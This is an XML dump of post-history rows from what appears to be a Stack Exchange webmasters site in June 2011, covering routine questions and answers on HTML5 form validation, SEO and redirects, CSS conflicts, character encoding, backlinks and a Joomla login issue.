  <row Id="37226" PostHistoryTypeId="3" PostId="15693" RevisionGUID="2997f7b2-e754-4494-82ba-9c0ea7ff9dbb" CreationDate="2011-06-22T13:39:22.293" UserId="8469" Text="&lt;html5&gt;&lt;forms&gt;" />
  <row Id="37227" PostHistoryTypeId="2" PostId="15694" RevisionGUID="70460fda-f082-44ad-9008-40c216eae830" CreationDate="2011-06-22T13:43:43.080" UserId="1253" Text="If you're going to allow content that isn't in a [valid email address forma][1]t then you'll want to use `&lt;input type=&quot;text&quot; ...&gt;` like you said. Although someone *may* enter a whole email address, it isn't exclusive to that field so using `&lt;input type=&quot;email&quot; ...&gt;` would not be appropriate. &#xD;&#xA;&#xD;&#xA;You can also turn off form validation if you don't want the browser to validate those fields for you. But that kind of defeats the purpose of using HTML5 features.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc5322" />
  <row Id="37228" PostHistoryTypeId="2" PostId="15695" RevisionGUID="253d661e-dc5a-45ad-a617-3752f74bda6f" CreationDate="2011-06-22T13:50:53.650" UserId="1253" Text="1. Do [301 redirect][1]s from the old URLs to the new URLs. This will tell the search engines and users that the pages have moved and where they are now. This also associates the old URL with the new URL for Google which means all of your old incoming links will now be associated with your new pages.&#xD;&#xA;&#xD;&#xA;2. Submit an [XML sitema][2]p in [Google Webmaster Tools][3]&#xD;&#xA;&#xD;&#xA;3. Make sure you have an HTML sitemap. This is good for users and search engines.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tamingthebeast.net/articles3/spiders-301-redirect.htm&#xD;&#xA;  [2]: http://www.sitemaps.org/&#xD;&#xA;  [3]: https://www.google.com/webmasters/tools/home?hl=en" />
  <row Id="37229" PostHistoryTypeId="2" PostId="15696" RevisionGUID="204d5d52-07ca-4d94-b3d8-d6c576b69a5f" CreationDate="2011-06-22T13:54:22.227" UserId="8354" Text="[HTML5](http://www.w3.org/TR/html-markup/input.email.html) allows `pattern=&quot;&quot;` attribute to be [specified ](http://www.w3.org/TR/html-markup/input.email.html#input.email.attrs.pattern):&#xD;&#xA;&#xD;&#xA;&gt; Specifies a regular expression against&#xD;&#xA;&gt; which a UA is meant to check the value&#xD;&#xA;&gt; of the control represented by its&#xD;&#xA;&gt; element.&#xD;&#xA;&gt; &#xD;&#xA;&gt; A regular expression that must match&#xD;&#xA;&gt; the JavaScript Pattern production as&#xD;&#xA;&gt; specified in [ECMA 262].&#xD;&#xA;&#xD;&#xA;**Examples:**&#xD;&#xA;&#xD;&#xA;    &lt;input type=&quot;email&quot; pattern=&quot;[^ @]*@[^ @]*&quot; value=&quot;&quot;&gt;&#xD;&#xA;&#xD;&#xA;    &lt;input type=&quot;email&quot; id=&quot;email&quot; name=&quot;email&quot; placeholder=&quot;Enter your email address&quot; pattern=&quot;^[A-Za-z0-9](([_\.\-]?[a-zA-Z0-9]+)*)@([A-Za-z0-9]+)(([\.\-]?[a-zA-Z0-9]+)*)\.([A-Za-z]{2,})$&quot;&gt;&#xD;&#xA;&#xD;&#xA;But I would use `type=&quot;text&quot;` to be on a safer side -- in this case you can validate ANY user input." />
  <row Id="37230" PostHistoryTypeId="2" PostId="15697" RevisionGUID="a96fb972-ea58-424e-b213-0bbf795e2ea0" CreationDate="2011-06-22T13:54:58.453" UserId="7198" Text="You can use the new HTML5 [pattern](http://www.w3.org/TR/html-markup/datatypes.html#form.data.pattern) attribute to specify valid formats for an input field using a JavaScript regexp, then put the error message in the `title` attribute:&#xD;&#xA;&#xD;&#xA;    &lt;input type=&quot;email&quot; pattern=&quot;([regexp])&quot; title=&quot;Your error message&quot; /&gt;&#xD;&#xA;&#xD;&#xA;However, in the scenario you describe, there's not much advantage of doing it this way over using `type=&quot;text&quot;` except for the fact that Mobile Safari users will see an email keyboard instead of the full qwerty one.&#xD;&#xA;&#xD;&#xA;As such, you might consider making it a requirement to use a company address, appending that in plain text after the text field, and prompting users for the first part of the email address rather than the full version.&#xD;&#xA;&#xD;&#xA; " />
  <row Id="37231" PostHistoryTypeId="2" PostId="15698" RevisionGUID="64a0cd85-f6d4-41f6-b3a2-42a70f1d8ea9" CreationDate="2011-06-22T14:55:51.667" UserId="2456" Text="I have template from themeforest and i dont want edit css from this template, because i don't have time for it. But i want integrate paypal buttons to my webpage, problem is paypal button use &lt;FORM&gt; tag for selection payment option. I have overloaded style for &lt;FORM&gt; tag and this not look like should. &#xD;&#xA;&#xD;&#xA;How to not use CSS for this element. I dont want use &lt;IFRAME&gt; and if i don't must then i dont want edit this CSS;-)&#xD;&#xA;&#xD;&#xA;This css look wired, i must edit her to solve this problem?&#xD;&#xA;What is best solution for this?&#xD;&#xA;&#xD;&#xA;    /*////   - Forms -   ////*/&#xD;&#xA;    form {&#xD;&#xA;            margin-bottom:20px;&#xD;&#xA;    }&#xD;&#xA;    body.ie7 form, body.ie8 {&#xD;&#xA;            margin-bottom:40px;&#xD;&#xA;    }&#xD;&#xA;    form p {&#xD;&#xA;            margin-bottom:15px;&#xD;&#xA;    }&#xD;&#xA;    form label {&#xD;&#xA;            float:left;&#xD;&#xA;            width:140px;&#xD;&#xA;            margin-top:5px;&#xD;&#xA;    }&#xD;&#xA;    form input, form textarea, form select {&#xD;&#xA;            padding:10px 5px;&#xD;&#xA;            background:#fff url(../img/bg-input.gif) repeat-x top;&#xD;&#xA;            border:1px solid #D9D9D9;&#xD;&#xA;            width:448px;&#xD;&#xA;            border-radius:3px;&#xD;&#xA;            -moz-border-radius:3px;&#xD;&#xA;            -webkit-border-radius:3px;&#xD;&#xA;    }&#xD;&#xA;    form input.small {&#xD;&#xA;            width:35px;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    html, body, div, span, object, iframe,&#xD;&#xA;    h1, h2, h3, h4, h5, h6, p, blockquote, pre,&#xD;&#xA;    abbr, address, cite, code,&#xD;&#xA;    del, dfn, em, img, ins, kbd, q, samp,&#xD;&#xA;    small, strong, sub, sup, var,&#xD;&#xA;    b, i,&#xD;&#xA;    dl, dt, dd, ol, ul, li,&#xD;&#xA;    fieldset, form, label, legend,&#xD;&#xA;    table, caption, tbody, tfoot, thead, tr, th, td,&#xD;&#xA;    article, aside, figure, footer, header,&#xD;&#xA;    hgroup, menu, nav, section, menu,&#xD;&#xA;    time, mark, audio, video {&#xD;&#xA;      margin:0;&#xD;&#xA;      padding:0;&#xD;&#xA;      border:0;&#xD;&#xA;      outline:0;&#xD;&#xA;      font-size:100%;&#xD;&#xA;      vertical-align:baseline;&#xD;&#xA;      background:transparent;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Can anyone help me?" />
  <row Id="37232" PostHistoryTypeId="1" PostId="15698" RevisionGUID="64a0cd85-f6d4-41f6-b3a2-42a70f1d8ea9" CreationDate="2011-06-22T14:55:51.667" UserId="2456" Text="Not use CSS definitions for one &lt;FORM&gt;" />
  <row Id="37233" PostHistoryTypeId="3" PostId="15698" RevisionGUID="64a0cd85-f6d4-41f6-b3a2-42a70f1d8ea9" CreationDate="2011-06-22T14:55:51.667" UserId="2456" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="37234" PostHistoryTypeId="2" PostId="15699" RevisionGUID="8ca39213-8168-4cd9-b242-cdca1348b9a6" CreationDate="2011-06-22T15:12:03.947" UserId="6720" Text="I'm curious if anyone has any insight into something: Google seems to have recently changed their algorithm, and now Github repos have basically disappeared from the search results. &#xD;&#xA;&#xD;&#xA;If I want to try and get a repo to show up on Google again, does anyone have any suggestions for how I might optimize my repo's home page?" />
  <row Id="37235" PostHistoryTypeId="1" PostId="15699" RevisionGUID="8ca39213-8168-4cd9-b242-cdca1348b9a6" CreationDate="2011-06-22T15:12:03.947" UserId="6720" Text="PageRank / Github" />
  <row Id="37236" PostHistoryTypeId="3" PostId="15699" RevisionGUID="8ca39213-8168-4cd9-b242-cdca1348b9a6" CreationDate="2011-06-22T15:12:03.947" UserId="6720" Text="&lt;seo&gt;&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="37237" PostHistoryTypeId="25" PostId="15688" RevisionGUID="aba84c9c-59a5-4208-aed4-6b88818a3e1f" CreationDate="2011-06-22T15:24:55.323" Comment="http://twitter.com/#!/StackWebmasters/status/83556074837381120" />
  <row Id="37238" PostHistoryTypeId="2" PostId="15700" RevisionGUID="f4177ccd-3c82-4287-902b-60573f6c33f7" CreationDate="2011-06-22T15:39:38.237" UserId="8424" Text="Does anybody know of a CMS where users can edit their own page, and their page *only* (something similar to about.me, except with more customization/options)? I'm not talking about profiles, but more like an individual web page for people's businesses. I want to be able to give local businesses the opportunity to make a single web page for their businesses with ease.&#xD;&#xA;&#xD;&#xA;I have looked at many CMS's, but I can't find anything that offers this type of functionality. I've check out the following:&#xD;&#xA;&#xD;&#xA; - Unify&#xD;&#xA; - Concrete 5&#xD;&#xA; - Drupal&#xD;&#xA; - Simple CMS&#xD;&#xA; - CMS Made Simple&#xD;&#xA;(and more)&#xD;&#xA;&#xD;&#xA;If anybody knows a CMS with the functionality that I'm looking for, or even a regular CMS with modules/plugins that I would be able to use, that would be awesome.&#xD;&#xA;&#xD;&#xA;Also: the cheaper, the better :D&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Gerard" />
  <row Id="37239" PostHistoryTypeId="1" PostId="15700" RevisionGUID="f4177ccd-3c82-4287-902b-60573f6c33f7" CreationDate="2011-06-22T15:39:38.237" UserId="8424" Text="CMS for single user-editable pages?" />
  <row Id="37240" PostHistoryTypeId="3" PostId="15700" RevisionGUID="f4177ccd-3c82-4287-902b-60573f6c33f7" CreationDate="2011-06-22T15:39:38.237" UserId="8424" Text="&lt;cms&gt;" />
  <row Id="37241" PostHistoryTypeId="2" PostId="15701" RevisionGUID="21eff3eb-b9e2-40a6-99e8-cc0314b98ebc" CreationDate="2011-06-22T16:15:06.007" UserId="7198" Text="Publish a simple [Github project page](http://pages.github.com/) explaining your project and linking to the repository. You have much more control over the content there (because it's a static HTML page) than you do over Github's repository indexes.&#xD;&#xA;&#xD;&#xA;For what it's worth, I still see Github repos in Google search results. e.g. A search for 'nodejs github' brings up the the node.js Github repo as the first result. It's possible that Google have changed their algorithm in a way that affects these pages, but they certainly haven't removed them altogether." />
  <row Id="37242" PostHistoryTypeId="2" PostId="15702" RevisionGUID="de8d04d9-9843-4ff8-8ef6-bd0ccaf2e2c2" CreationDate="2011-06-22T16:41:36.967" UserId="1134" Text="A simple solution would be to use [Wordpress][1]. Give each user a page with only the most current post displayed. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/" />
  <row Id="37243" PostHistoryTypeId="17" PostId="15703" RevisionGUID="0bbf9b59-8364-42f8-b411-859293f626ed" CreationDate="2011-06-22T18:04:02.277" UserId="-1" Comment="from http://stackoverflow.com/questions/6441438/do-you-need-to-crawl-the-whole-internet-to-find-backlinks-of-a-url" Text="" />
  <row Id="37244" PostHistoryTypeId="17" PostId="15704" RevisionGUID="2861d895-e6bb-4e7e-a8ff-0c623704cff3" CreationDate="2011-06-22T18:04:02.277" UserId="-1" Comment="from http://stackoverflow.com/questions/6441438/do-you-need-to-crawl-the-whole-internet-to-find-backlinks-of-a-url" Text="" />
  <row Id="37245" PostHistoryTypeId="17" PostId="15705" RevisionGUID="9640ee5f-b28d-49e2-93b7-4de438df6023" CreationDate="2011-06-22T18:04:02.277" UserId="-1" Comment="from http://stackoverflow.com/questions/6441438/do-you-need-to-crawl-the-whole-internet-to-find-backlinks-of-a-url" Text="" />
  <row Id="37246" PostHistoryTypeId="17" PostId="15706" RevisionGUID="43ba7b95-90b3-431b-8f47-d263fe6293d0" CreationDate="2011-06-22T18:04:02.277" UserId="-1" Comment="from http://stackoverflow.com/questions/6441438/do-you-need-to-crawl-the-whole-internet-to-find-backlinks-of-a-url" Text="" />
  <row Id="37247" PostHistoryTypeId="2" PostId="15704" RevisionGUID="9705485e-8904-4c10-932e-478268a60dbd" CreationDate="2011-06-22T14:20:39.437" UserDisplayName="Blindy" Text="Even the third parties you might use to get this data crawl as much of the Internet as they can, it can't be avoided. But yes, you can use third parties to offload the work from your servers." />
  <row Id="37248" PostHistoryTypeId="2" PostId="15705" RevisionGUID="3f89f495-aac6-48b8-a2ae-2aadcd9387a0" CreationDate="2011-06-22T14:21:22.013" UserDisplayName="Williham Totland" Text="Depending on what you want, you might indeed have to crawl the entire internet; but there is an easier way. If you are mostly interested in what links are actually clicked on to bring people to the page; storing referrer information and dealing with that will do plenty." />
  <row Id="37249" PostHistoryTypeId="2" PostId="15706" RevisionGUID="80d59bb8-7154-4fcc-829f-b5cfe82ac6a8" CreationDate="2011-06-22T14:22:30.300" UserId="8425" Text="To be 100% accurate, yes you'd have to crawl the entire net.&#xD;&#xA;&#xD;&#xA;Both Google and Yahoo! have this functionality in their respective Analytics/Webmaster tools, but not even they are fully comprehensive.&#xD;&#xA;&#xD;&#xA;How do they do it? Their core business relies on crawling (nearly) the entire net." />
  <row Id="37250" PostHistoryTypeId="2" PostId="15703" RevisionGUID="484370e2-74b2-46c4-95c2-633fa4e9fb2d" CreationDate="2011-06-22T14:19:09.830" UserDisplayName="Luca Matteis" Text="Say I want to retrieve all the sites on the web that have a specific link on them. For example I want to know all the backlinks made to my blog, on other websites. There are services out there that do this: http://www.backlinkwatch.com/index.php  - was wondering how they achieve this functionality.&#xD;&#xA;&#xD;&#xA;Is crawling the entire internet the only option or are there *third-party* ways of doing this, say using Google." />
  <row Id="37251" PostHistoryTypeId="1" PostId="15703" RevisionGUID="484370e2-74b2-46c4-95c2-633fa4e9fb2d" CreationDate="2011-06-22T14:19:09.830" UserDisplayName="Luca Matteis" Text="Do you need to crawl the whole internet to find backlinks of a URL?" />
  <row Id="37252" PostHistoryTypeId="3" PostId="15703" RevisionGUID="484370e2-74b2-46c4-95c2-633fa4e9fb2d" CreationDate="2011-06-22T14:19:09.830" UserDisplayName="Luca Matteis" Text="&lt;web-development&gt;&lt;web&gt;&lt;seo&gt;" />
  <row Id="37253" PostHistoryTypeId="5" PostId="15703" RevisionGUID="34654ba1-fbde-4087-a5c5-c1f15d780837" CreationDate="2011-06-22T18:16:20.503" UserId="1253" Comment="modified tags" Text="Say I want to retrieve all the sites on the web that have a specific link on them. For example I want to know all the backlinks made to my blog, on other websites. There are services out there that do this: http://www.backlinkwatch.com/index.php  - was wondering how they achieve this functionality.&#xD;&#xA;&#xD;&#xA;Is crawling the entire internet the only option or are there *third-party* ways of doing this, say using Google. " />
  <row Id="37254" PostHistoryTypeId="6" PostId="15703" RevisionGUID="34654ba1-fbde-4087-a5c5-c1f15d780837" CreationDate="2011-06-22T18:16:20.503" UserId="1253" Comment="modified tags" Text="&lt;seo&gt;&lt;backlinks&gt;" />
  <row Id="37255" PostHistoryTypeId="2" PostId="15707" RevisionGUID="180eb090-4b34-48d3-af32-8728db1062a1" CreationDate="2011-06-22T18:23:31.157" UserId="7316" Text="I have to buy a domain&#xD;&#xA;&#xD;&#xA;it can be : somebigcompany.com or some-big-company.com&#xD;&#xA;&#xD;&#xA;I know, it's not a sample answer... but i like to know your point of view... the client what with no dash, i think for Google, and readability the dash is better... i have talk to a expert SEO that sait since panda update of the google algorithm it will be punish to have dash.. i don't believe it !&#xD;&#xA;&#xD;&#xA;after your answer, i go to godaddy to buy it&#xD;&#xA;&#xD;&#xA;thanks in advance" />
  <row Id="37256" PostHistoryTypeId="1" PostId="15707" RevisionGUID="180eb090-4b34-48d3-af32-8728db1062a1" CreationDate="2011-06-22T18:23:31.157" UserId="7316" Text="with dash or not in domain" />
  <row Id="37257" PostHistoryTypeId="3" PostId="15707" RevisionGUID="180eb090-4b34-48d3-af32-8728db1062a1" CreationDate="2011-06-22T18:23:31.157" UserId="7316" Text="&lt;domains&gt;&lt;dash&gt;" />
  <row Id="37258" PostHistoryTypeId="25" PostId="15699" RevisionGUID="29d47418-8389-46da-bd10-1bf83a6de333" CreationDate="2011-06-22T18:24:55.667" Comment="http://twitter.com/#!/StackWebmasters/status/83601375098974208" />
  <row Id="37259" PostHistoryTypeId="5" PostId="15707" RevisionGUID="8840b557-1e36-4eb1-98a1-415f12cfc999" CreationDate="2011-06-22T18:29:18.183" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Is it better to put hyphens in a domain name ?](http://webmasters.stackexchange.com/questions/410/is-it-better-to-put-hyphens-in-a-domain-name)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have to buy a domain&#xD;&#xA;&#xD;&#xA;it can be : somebigcompany.com or some-big-company.com&#xD;&#xA;&#xD;&#xA;I know, it's not a sample answer... but i like to know your point of view... the client what with no dash, i think for Google, and readability the dash is better... i have talk to a expert SEO that sait since panda update of the google algorithm it will be punish to have dash.. i don't believe it !&#xD;&#xA;&#xD;&#xA;after your answer, i go to godaddy to buy it&#xD;&#xA;&#xD;&#xA;thanks in advance" />
  <row Id="37260" PostHistoryTypeId="10" PostId="15707" RevisionGUID="ba990840-0dd8-406e-947a-8fbe4ba58bd1" CreationDate="2011-06-22T18:29:17.170" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="37261" PostHistoryTypeId="2" PostId="15708" RevisionGUID="8f929b2b-435f-4be0-89bd-b13567c3e1e7" CreationDate="2011-06-22T18:38:18.510" UserId="8469" Text="I have a request that may not be possible.&#xD;&#xA;&#xD;&#xA;I'd like to line up the elements of a form so that the inputs all start at the same place:&#xD;&#xA;&#xD;&#xA;    Name:                            [                           ]&#xD;&#xA;    Company:                         [                           ]&#xD;&#xA;    Some question with a long name: [                           ]&#xD;&#xA;&#xD;&#xA;But my list is (somewhat) long and I would like to show them in multiple columns on screens that are wide enough.&#xD;&#xA;&#xD;&#xA;Ideally, I'd find a POSH method (table-free is semantically appropriate, I think) that works on a reasonable number of browsers.&#xD;&#xA;&#xD;&#xA;My current page uses a table.  I tried CSS with&#xD;&#xA;&#xD;&#xA;    columns: auto; -moz-column-count: auto; -moz-column-width: auto; -webkit-column-count: auto; -webkit-column-width: auto;&#xD;&#xA;&#xD;&#xA;but Firefox (at least) won't break a table across columns." />
  <row Id="37262" PostHistoryTypeId="1" PostId="15708" RevisionGUID="8f929b2b-435f-4be0-89bd-b13567c3e1e7" CreationDate="2011-06-22T18:38:18.510" UserId="8469" Text="Lining things up while using columns" />
  <row Id="37263" PostHistoryTypeId="3" PostId="15708" RevisionGUID="8f929b2b-435f-4be0-89bd-b13567c3e1e7" CreationDate="2011-06-22T18:38:18.510" UserId="8469" Text="&lt;html&gt;&lt;semantic-web&gt;&lt;tableless&gt;" />
  <row Id="37264" PostHistoryTypeId="2" PostId="15709" RevisionGUID="1f0100e2-4d70-4c2a-88a4-8f7282dea4ef" CreationDate="2011-06-22T18:40:38.730" UserId="8390" Text="I have created many very simple pure HTML websites over the years. Most of them appear to work fine most of the time. But there is one recurring problem which I have never quite sorted out involving strange characters.&#xD;&#xA;&#xD;&#xA;The scenario goes like this: I create the site. I look at it in my browser, everything appears fine. I may look at it a great many times over the coming weeks or months as I make additions here and there. Perhaps on a variety of browsers on a variety of PC's. Then one day I look at the page and see a random sprinkling of white question marks against dark diamond shapes. These might appear where I had expected to see hyphens or quotes or apostrophes. My immediate thought is that my browser got into some strange state because I was looking at some foreign website with strange characters, but I'm never quite sure. I'm left with that nagging feeling that perhaps half the planet is seeing my website with funny question marks all over it.&#xD;&#xA;&#xD;&#xA;So my question is what's going on? What should I do to ensure that as many people as possible around the world can view my text as I originally intended? Should I be using those special html sequences like &#xD;&#xA;&#xD;&#xA;    &amp;pound;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;for all non alphanumeric characters? Should I worry at all?&#xD;&#xA;" />
  <row Id="37265" PostHistoryTypeId="1" PostId="15709" RevisionGUID="1f0100e2-4d70-4c2a-88a4-8f7282dea4ef" CreationDate="2011-06-22T18:40:38.730" UserId="8390" Text="Strange characters appearing on websites - ASCII? - UNICODE?" />
  <row Id="37266" PostHistoryTypeId="3" PostId="15709" RevisionGUID="1f0100e2-4d70-4c2a-88a4-8f7282dea4ef" CreationDate="2011-06-22T18:40:38.730" UserId="8390" Text="&lt;html&gt;&lt;unicode&gt;" />
  <row Id="37267" PostHistoryTypeId="5" PostId="15709" RevisionGUID="77b2a5e5-7aff-4a4a-9c08-1519a8a7838d" CreationDate="2011-06-22T18:47:34.607" UserId="8390" Comment="added 222 characters in body; added 4 characters in body; added 331 characters in body" Text="I have created many very simple pure HTML websites over the years. Most of them appear to work fine most of the time. But there is one recurring problem which I have never quite sorted out involving strange characters.&#xD;&#xA;&#xD;&#xA;The scenario goes like this: I create the site. I look at it in my browser, everything appears fine. I may look at it a great many times over the coming weeks or months as I make additions here and there. Perhaps on a variety of browsers on a variety of PC's. Then one day I look at the page and see a random sprinkling of white question marks against dark diamond shapes. These might appear where I had expected to see hyphens or quotes or apostrophes. My immediate thought is that my browser got into some strange state because I was looking at some foreign website with strange characters, but I'm never quite sure. I'm left with that nagging feeling that perhaps half the planet is seeing my website with funny question marks all over it.&#xD;&#xA;&#xD;&#xA;So my question is what's going on? What should I do to ensure that as many people as possible around the world can view my text as I originally intended? Should I be using those special html sequences like &#xD;&#xA;&#xD;&#xA;    &amp;pound;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;for all non alphanumeric characters? Should I worry at all?&#xD;&#xA;&#xD;&#xA;**Edit:** Right now I have the problem occurring on this page: http://www.fullreservebanking.com/papers.htm ... part of it looks like this:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/felr7.jpg&#xD;&#xA;&#xD;&#xA;I am using FireFox 5 and the character encoding currently appears to be &quot;UNICODE (UTF-8)&quot;. I do not remember manually setting the character encoding to anything since installation. I do occasionally look at Japanese websites for work related reasons - though when I do so I do not manually make any changes to firefox settings." />
  <row Id="37268" PostHistoryTypeId="2" PostId="15710" RevisionGUID="b787814a-0ac3-4a5d-820c-753bdef50a3b" CreationDate="2011-06-22T18:52:39.120" UserId="8450" Text="This doesn't have 100% of incoming links to your site, but this tool helps a lot - http://www.opensiteexplorer.org/&#xD;&#xA;&#xD;&#xA;You can also find this information in google analytics on a page by page basis." />
  <row Id="37269" PostHistoryTypeId="2" PostId="15711" RevisionGUID="4840ad02-e722-45be-9007-493352041865" CreationDate="2011-06-22T18:53:57.537" UserId="205" Text="These are called gremlins and they are usually caused because whichever program is putting the quotes in is using the actual pretty / curly / smart quotes instead of the proper HTML entities.&#xD;&#xA;&#xD;&#xA;See [this great article][1] from A List Apart on non-quote related typographical oddities in HTML.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/articles/emen/" />
  <row Id="37270" PostHistoryTypeId="5" PostId="15709" RevisionGUID="5a6163f0-9cbd-44dc-b20d-1861a254a1b7" CreationDate="2011-06-22T18:55:11.547" UserId="8390" Comment="added 1 characters in body" Text="I have created many very simple pure HTML websites over the years. Most of them appear to work fine most of the time. But there is one recurring problem which I have never quite sorted out involving strange characters.&#xD;&#xA;&#xD;&#xA;The scenario goes like this: I create the site. I look at it in my browser, everything appears fine. I may look at it a great many times over the coming weeks or months as I make additions here and there. Perhaps on a variety of browsers on a variety of PC's. Then one day I look at the page and see a random sprinkling of white question marks against dark diamond shapes. These might appear where I had expected to see hyphens or quotes or apostrophes. My immediate thought is that my browser got into some strange state because I was looking at some foreign website with strange characters, but I'm never quite sure. I'm left with that nagging feeling that perhaps half the planet is seeing my website with funny question marks all over it.&#xD;&#xA;&#xD;&#xA;So my question is what's going on? What should I do to ensure that as many people as possible around the world can view my text as I originally intended? Should I be using those special html sequences like &#xD;&#xA;&#xD;&#xA;    &amp;pound;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;for all non alphanumeric characters? Should I worry at all?&#xD;&#xA;&#xD;&#xA;**Edit:** Right now I have the problem occurring on this page: http://www.fullreservebanking.com/papers.htm ... part of it looks like this:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/felr7.jpg&#xD;&#xA;&#xD;&#xA;I am using FireFox 5 and the character encoding currently appears to be &quot;UNICODE (UTF-8)&quot;. I do not remember manually setting the character encoding to anything since installation. I do occasionally look at Japanese websites for work related reasons - though when I do so, I do not manually make any changes to firefox settings." />
  <row Id="37271" PostHistoryTypeId="5" PostId="15711" RevisionGUID="7fc0fb5c-c293-475b-8bf0-68cc9343930c" CreationDate="2011-06-22T19:00:05.023" UserId="205" Comment="added 475 characters in body; added 137 characters in body" Text="These are called gremlins and they are usually caused because whichever program is putting the quotes in is using the actual pretty / curly / smart quotes instead of the proper HTML entities.  The fonts don't display right or don't have those characters in them and instead produced the funny symbol.&#xD;&#xA;&#xD;&#xA;See [this great article][1] from A List Apart on non-quote related typographical oddities in HTML.&#xD;&#xA;&#xD;&#xA;The best thing to do would be to create a text processor that runs over the content of your webpage before it is sent to the user (actually, it's best to run this after the content is generated and before it's saved on the server).  This processor will do a simple text replacement for those special characters and provide the appropriate HTML entity in its place.&#xD;&#xA;&#xD;&#xA;[This page from the PHP manual][2] gives excellent code examples in PHP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/articles/emen/&#xD;&#xA;  [2]: http://php.net/manual/en/function.htmlentities.php" />
  <row Id="37272" PostHistoryTypeId="5" PostId="15709" RevisionGUID="a3a6b170-a3bf-4999-ad74-46e3dce6e273" CreationDate="2011-06-22T19:13:51.023" UserId="8390" Comment="added 54 characters in body" Text="I have created many very simple pure HTML websites over the years. Most of them appear to work fine most of the time. But there is one recurring problem which I have never quite sorted out involving strange characters.&#xD;&#xA;&#xD;&#xA;The scenario goes like this: I create the site. I look at it in my browser, everything appears fine. I may look at it a great many times over the coming weeks or months as I make additions here and there. Perhaps on a variety of browsers on a variety of PC's. Then one day I look at the page and see a random sprinkling of white question marks against dark diamond shapes. These might appear where I had expected to see hyphens or quotes or apostrophes. My immediate thought is that my browser got into some strange state because I was looking at some foreign website with strange characters, but I'm never quite sure. I'm left with that nagging feeling that perhaps half the planet is seeing my website with funny question marks all over it.&#xD;&#xA;&#xD;&#xA;So my question is what's going on? What should I do to ensure that as many people as possible around the world can view my text as I originally intended? Should I be using those special html sequences like &#xD;&#xA;&#xD;&#xA;    &amp;pound;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;for all non alphanumeric characters? Should I worry at all?&#xD;&#xA;&#xD;&#xA;**Edit:** Right now I have the problem occurring on this page: http://www.fullreservebanking.com/papers.htm ... part of it looks like this:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/felr7.jpg&#xD;&#xA;&#xD;&#xA;I am using FireFox 5 and the character encoding currently appears to be &quot;UNICODE (UTF-8)&quot;. I do not remember manually setting the character encoding to anything since installation. I do occasionally look at Japanese websites for work related reasons - though when I do so, I do not manually make any changes to firefox settings.&#xD;&#xA;&#xD;&#xA;**Edit:** Now fixed. Web page altered accordingly." />
  <row Id="37273" PostHistoryTypeId="17" PostId="15712" RevisionGUID="3c7fbd6e-cd2d-4ff8-86e9-7244c16e5914" CreationDate="2011-06-22T19:22:08.947" UserId="-1" Comment="from http://stackoverflow.com/questions/6434239/could-not-log-in-properly-but-shows-no-error-in-joomla" Text="" />
  <row Id="37274" PostHistoryTypeId="17" PostId="15713" RevisionGUID="b5621c36-0cf1-46c7-8f6a-e290a5404c10" CreationDate="2011-06-22T19:22:08.947" UserId="-1" Comment="from http://stackoverflow.com/questions/6434239/could-not-log-in-properly-but-shows-no-error-in-joomla" Text="" />
  <row Id="37275" PostHistoryTypeId="2" PostId="15713" RevisionGUID="da49e181-a821-4c2c-b139-41ce09d62a70" CreationDate="2011-06-22T16:04:29.363" UserDisplayName="itoctopus.com" Text="Can't understand your problem properly, but usually not being able to login is a sign that there's a failed query somewhere (especially if you're seeing a blank page). See this article which might solve your problem: http://www.itoctopus.com/are-you-suddenly-unable-to-login-to-your-joomla-administrator" />
  <row Id="37276" PostHistoryTypeId="2" PostId="15712" RevisionGUID="27eefb5b-43bd-4b2b-a93e-21ac46a321f2" CreationDate="2011-06-22T02:25:36.090" UserDisplayName="saeha" Text="I added some fields in the user registration in joomla including the image field which is blob type, all data is saving properly and i could also display the image but I could not log-in properly using the account with an uploaded image in the database and shows no error. And when I log-in as administrator in the backend, i saw this account as logged in. Any idea if what causes this problem? please help?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="37277" PostHistoryTypeId="1" PostId="15712" RevisionGUID="27eefb5b-43bd-4b2b-a93e-21ac46a321f2" CreationDate="2011-06-22T02:25:36.090" UserDisplayName="saeha" Text="Could not log-in properly but shows no error in joomla" />
  <row Id="37278" PostHistoryTypeId="3" PostId="15712" RevisionGUID="27eefb5b-43bd-4b2b-a93e-21ac46a321f2" CreationDate="2011-06-22T02:25:36.090" UserDisplayName="saeha" Text="&lt;login&gt;&lt;joomla&gt;" />
  <row Id="37279" PostHistoryTypeId="2" PostId="15714" RevisionGUID="8069ad3a-6baa-456e-9607-a33756092f83" CreationDate="2011-06-22T19:44:18.533" UserId="8469" Text="I suppose Googling for `link:yourblog.com` would be too easy?&#xD;&#xA;&#xD;&#xA;It's entirely possible to crawl the 'Net, if that's what you needed to do&amp;mdash;a saturated T4 line would take a few months to do it (you're only downloading the HTML, not images).  But if a simple search is enough that's what I'd recommend." />
